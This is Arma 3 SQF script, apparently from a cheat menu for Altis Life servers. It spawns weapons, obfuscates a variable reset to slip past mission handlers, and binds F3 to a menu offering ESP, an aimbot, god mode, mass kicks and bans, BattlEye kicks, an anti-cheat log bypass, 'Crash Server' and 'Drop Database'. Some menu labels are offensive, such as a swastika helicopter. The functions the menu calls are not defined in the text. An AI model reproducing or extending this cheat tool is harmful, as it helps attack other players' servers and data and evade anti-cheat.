for "_i" from 0 to count (_cfg)-1 do {
_config = _cfg select _i;
if(isClass _config)then{
_cname = configName _config;
_scope = getNumber(_config >> "scope");
_pic = getText(_config >> "picture");
_name = getText(_config >> "displayName");
if(_scope == 2 && _pic != "" && _name != "") then {
O_fnc_Weapons = O_fnc_Weapons + [[_name,_cname,_pic]]
};
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
_image = _array select 2;
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetPicture [[_index],_image];
_ctrl tvSetData [[_index],_data];
} forEach O_fnc_Weapons;
};
O_fnc_WaffenDbc = {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_wep = _data;
_mags = getArray(configFile >> "cfgWeapons" >> _wep >> "Magazines");
if (isNil "O_fnc_WaffenHolder")then{
O_fnc_WaffenHolder = "GroundWeaponHolder" createVehicle position player;
};
O_fnc_WaffenHolder addWeaponCargoGlobal [_wep,1];
O_fnc_WaffenHolder addMagazineCargoGlobal [_mags select 0,5];
O_fnc_WaffenHolder attachTo [player,[0, 0, 0], "Pelvis"];
sleep 2;
detach O_fnc_WaffenHolder;
};
//5decrypt
['LOOPS'] call {
[] spawn{
while {true}do{
waitUntil {!isNull (findDisplay 7300)};
((findDisplay 7300) displayCtrl 7302) ctrlEnable true;
(findDisplay 7300) displayRemoveAllEventHandlers "KeyDown";
disableSerialization;
_1 = ((findDisplay 7300) displayCtrl 7303);
_1 ctrlSetText 'Reveal';
_1 buttonSetAction 'player setVariable ["Revive",TRUE,TRUE]; [["I think it was a GOD?"],"life_fnc_revived",player,FALSE] call life_fnc_MP; player reveal player;';
sleep 0.5;
};
};
[] spawn{
disableSerialization;
while {true}do{
call compile format ['
m'+'i'+'s'+'s'+'i'+'o'+'n'+'n'+'a'+'m'+'e'+'s'+'p'+'a'+'c'+'e set'+'var'+'ia'+'ble ["B"+"I"+"S"+"_"+"f"+"n"+"c"+"_"+"m"+"i"+"s"+"s"+"i"+"o"+"n"+"H"+"a"+"n"+"d"+"l"+"e"+"r"+"s"+"_"+"w"+"i"+"n",false];
'];
((findDisplay 49) displayCtrl 104) ctrlEnable true;
((findDisplay 49) displayCtrl 104) ctrlCommit 0;
waitUntil{O_fnc_whiles && !isNull (findDisplay 49)};
_1 = uiNamespace getVariable "RscStructuredText_5";
_frames = round(diag_fpsmin) + 10;
_1 ctrlSetText format ["FPS: %1",_frames];
_2 = uiNamespace getVariable "RscStructuredText_11";
_damage = getDammage player;
_2 ctrlSetText format ["Health: %1",(((1-_damage)*100)-((1-_damage)*100 mod 1))];
_3 = uiNamespace getVariable "RscStructuredText_10";
_3 ctrlSetText format ["Players: %1",count(playableUnits)];
sleep 0.5;
};
};
};
O_fnc_init2 = {
O_fnc_whiles = true;
O_fnc_subOrder = [
["MAIN",
[
["ESP",LIFE_fnc_DrawPlayers,"LIFE_fnc_DrawPlayers_Toggle",true],
["Map Markers",LIFE_fnc_MapMarkers,"LIFE_fnc_MapMarkers_TOGGLE",true],
["Disconnect",LIFE_fnc_disconnect,"",false],
["Bomb",LIFE_fnc_Bombing,"",false],
["Mord all * RISKY",LIFE_fnc_mording,"",false],
["FPS Booster",LIFE_fnc_fps,"",false],
["Destroy all",LIFE_fnc_destroyer,"",false],
["Servertime +12 * RISKY",LIFE_fnc_time12,"",false],
["Teleport all",LIFE_fnc_teporterall,"",false],
["Teleport via Map",LIFE_fnc_teporter,"LIFE_fnc_teporter_Toggle",true],
["Remove Gear",LIFE_fnc_gearRemover,"",false],
["Spawn Dummy",LIFE_fnc_dummy,"",false]
]
],
["PLAYER",
[
["He(A)l",LIFE_fnc_heal,"",false],
["(G)od",LIFE_fnc_god,"LIFE_fnc_god_toogle",true],
["Car(G)od",LIFE_fnc_cargod,"LIFE_fnc_cargod_toogle",true],
["N(o)-(C)lip",LIFE_fnc_noclip,"LIFE_fnc_noclip_toogle",true],
["Fl(y) (M)ode",LIFE_fnc_flyMode,"LIFE_fnc_flyMode_toogle",true],
["Res(p)awn",LIFE_fnc_respawner,"",false],
["Unlimi(t)ed Ammo",LIFE_fnc_ulammo,"LIFE_fnc_ulammo_toogle",true],
["Change Te(a)m",LIFE_fnc_changeTeam,"",false],
["Chi(ck)en Mode",LIFE_fnc_chicken,"",false],
["Gh(o)st M(o)de",LIFE_fnc_ghost,"",false],
["In(v)isible * RISKY",LIFE_fnc_invese,"LIFE_fnc_invese_toogle",true],
["M(o)ney B(u)ilder",LIFE_fnc_moneyPrinter,"LIFE_fnc_moneyPrinter_toogle",true],
["M(o)re Spe(e)d",LIFE_fnc_Speed,"LIFE_fnc_Speed_toogle",true]
]
],
["ALTIS LIFE",
[
["Unrestrain",LIFE_fnc_Unrestrain,"",false],
["Remove Wanted",LIFE_fnc_wanted,"",false],
["Get Keys of Cars (300m)",LIFE_fnc_carStealer,"",false],
["All Items",LIFE_fnc_allItems,"",false],
["All Licenses",LIFE_fnc_allLicense,"",false],
["Money",LIFE_fnc_bank,"",false],
["Get a Cop Uniform",LIFE_fnc_copUniform,"",false],
["Stop Escort",LIFE_fnc_escort,"",false],
["Reset Licenses",LIFE_fnc_resetlicense,"",false],
["Reset Bank",LIFE_fnc_resetmoney,"",false],
["Reset Items",LIFE_fnc_resetitems,"",false],
["Kick all Cops * RISKY",LIFE_fnc_copkick,"",false],
["Kick all Civs * RISKY",LIFE_fnc_civkick,"",false],
["Rob the Bank",LIFE_fnc_bankrobber,"",false],
["Revive Target",LIFE_fnc_ReviveTarget,"",false],
["Go to Rebel Outpost",LIFE_fnc_rebel,"",false],
["Free Houses",LIFE_fnc_getHouse,"LIFE_fnc_the_free_houses",true],
["Free Cars",LIFE_fnc_getCars,"LIFE_fnc_the_free_cars",true],
["No Tazzer",LIFE_fnc_noTazzer,"",false]
]
],
["FUNNY",
[
["Summer World",LIFE_fnc_summerworld,"",false],
["Snow World",LIFE_fnc_snowWorld,"",false],
["Reset all",LIFE_fnc_resetAll,"",false],
["Remove All Weapons",LIFE_fnc_removeWeaponsAll,"",false],
["Kick all",LIFE_fnc_kickall,"",false],
["Dead All",LIFE_fnc_deadall,"",false],
["Bann all",LIFE_fnc_bannall,"",false],
["Parajump",LIFE_fnc_paraall,"",false],
["Send Servermessage",LIFE_fnc_message,"",false],
["Shoot Goats all",LIFE_fnc_shootgoats,"",false],
["Shoot Cars all",LIFE_fnc_shootcars,"",false],
["Battleye Kick all",LIFE_fnc_BeKick,"",false],
["Bluescreen all",LIFE_fnc_BlueScreen,"",false],
["Fuck up all Keys",LIFE_fnc_KeyRemover,"",false],
["CleanUp Server",LIFE_fnc_CleanUp,"",false],
["EMP all Vehicles",LIFE_fnc_empd,"",false],
["Cash 4 all",LIFE_fnc_Cash4All,"",false],
["Map Drawing",LIFE_fnc_draw,"LIFE_fnc_draw_toogle",true],
["Fuck up all Screens",LIFE_fnc_ScreenFuckass,"",false],
["Defense Squad (GOD)",LIFE_fnc_DefenseSquad,"",false],
["Defense Squad",LIFE_fnc_DefenseSquad_NG,"",false],
["Deforestation",fnc_deforestation,"fnc_deforestation_toggle",true],
["Deforestation Map",life_fnc_deforestation,"",false],
["Code Hat",LIFE_fnc_ConeHat,"",false],
["Bag Hat",LIFE_fnc_BagHat,"",false],
["Hack Box",LIFE_fnc_hackBox,"",false],
["Nuke",LIFE_fnc_NukeBall,"",false],
["Rainbow Smoke",LIFE_fnc_Nyan,"LIFE_fnc_NyanCat_Toggle",true],
["Big Bullets",LIFE_fnc_BBullets,"LIFE_fnc_BBullets_Toggle",true],
["Human Centipede",fnc_thecentipede,"fnc_thecentipede_toggle",true],
["InfiSTAR LetsLog",LIFE_fnc_AntiLog,"",false],
["Spawn Dickopter",LIFE_fnc_theDickopter,"",false],
["Spawn Swasticopter",LIFE_fnc_theSwasticopter,"",false],
["Spawn HeliBoat",LIFE_fnc_theHeliBoat,"",false],
["Spawn BoatCar",LIFE_fnc_theboatcar,"",false],
["Spawn HeliTank",LIFE_fnc_theHeliTank,"",false]
]
],
["AIMBOT",
[
["Rapid Fire",LIFE_fnc_rapidFire,"LIFE_fnc_rapidFire_Toggle",true],
["One hit",LIFE_fnc_OneHit,"LIFE_fnc_OneHit_Toogle",true],
["Mass",LIFE_fnc_mass,"LIFE_fnc_mass_Toogle",true],
["Ultra Mass kill",LIFE_fnc_massULTRA,"LIFE_fnc_ULTRAmass_Toogle",true],
["No Recoil",LIFE_fnc_recoil,"LIFE_fnc_recoil_Toogle",true]
]
],
["EFFECTS",
[
["LSD Effect",LIFE_fnc_LSDEffection,"",false]
]
],
["STEALTH GAMING",
[
["WILL BE ADDED",LIFE_fnc_LSDEffection,"",false]
]
],
["TARGET",
[
["Mine Target",LIFE_fnc_MineTarget,"",false],
["Godmode an Target",LIFE_fnc_GodAnTarget,"",false],
["Godmode aus Target",LIFE_fnc_GodAusTarget,"",false],
["Heal Target",LIFE_fnc_HealTarget,"",false],
["Spectate Target",LIFE_fnc_SpectateTarget,"",false],
["Freeze Target",LIFE_fnc_LockTarget,"",false],
["Unfreeze Target",LIFE_fnc_UnlockTarget,"",false],
["Bomb Target",LIFE_fnc_BombTarget,"",false],
["Reset Target",LIFE_fnc_ResetTarget,"",false],
["BE Kick Target",LIFE_fnc_BEKickTarget,"",false],
["Spyglass Kick Target",LIFE_fnc_SpyGlassKickTarget,"",false],
["Ban Target",LIFE_fnc_banTarget,"",false],
["Dead Target",LIFE_fnc_DeadTarget,"",false],
["Dog Bomb Target",LIFE_fnc_DogBombTarget,"",false],
["Fuck Up Target",LIFE_fnc_FuckTarget,"",false],
["Paradrop Target",LIFE_fnc_ParadropTarget,"",false],
["Teleport To Target",LIFE_fnc_TPTOTarget,"",false],
["Teleport Target Here",LIFE_fnc_TPTargetTO,"",false],
["Dog Target",LIFE_fnc_dogTarget,"",false],
["Chicken Target",LIFE_fnc_chickenTarget,"",false],
["Ghost Target",LIFE_fnc_ghostTarget,"",false],
["Goat Target",LIFE_fnc_goatTarget,"",false],
["Give Target Money",LIFE_fnc_moneyTarget,"",false],
["Give Target Licenses",LIFE_fnc_licenseTarget,"",false],
["Play Video Target",LIFE_fnc_videoTarget,"",false],
["Send a Message Target",LIFE_fnc_messageTarget,"",false],
["Fuck up Gamma Target",LIFE_fnc_Gamma,"",false],
["EMP Target",LIFE_fnc_EMPTarget,"",false]
]
],
["LoadOuts",
[
["Sniper",LIFE_fnc_LoadOut_Sniper,"",false],
["Police",LIFE_fnc_LoadOut_Police,"",false],
["Civilian",LIFE_fnc_LoadOut_Civilian,"",false],
["Hacker",LIFE_fnc_LoadOut_Hacker,"",false],
["Rebel",LIFE_fnc_LoadOut_Rebel,"",false],
["Assault Soldier",LIFE_fnc_LoadOut_AssaultGunner,"",false],
["Machine Gunner",LIFE_fnc_LoadOut_machineGunner,"",false],
["Alahu Akbar",LIFE_fnc_LoadOut_alahuakbar,"",false],
["C4",LIFE_fnc_LoadOut_explosive,"",false],
["Medical Assistance",LIFE_fnc_LoadOut_med,"",false]
]
],
["DATABASE",
[
["Meteor",LIFE_fnc_PermMeteor,"",false],
["Crash Server",LIFE_fnc_Desync,"",false],
["Ban all Clients",LIFE_fnc_PermBAN,"",false],
["Spam Database Fake Users",LIFE_fnc_FakeUsers,"",false],
["Drop Database",LIFE_fnc_DropDatabase,"",false],
["Test Remote Execution",LIFE_fnc_TestRe,"",false]
]
]
];
};
//6decrypt
O_fnc_keyBind = {
switch (_this) do {
case 0x3D: //f3
{
if (!Q_fnc_QuickAccessOpened)then{
//[] call O_fnc_QuickAccess;
[] call O_fnc_init2;
[] call O_fnc_initMenu;
};
}
};
};
_undef = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call O_fnc_keyBind;false;"];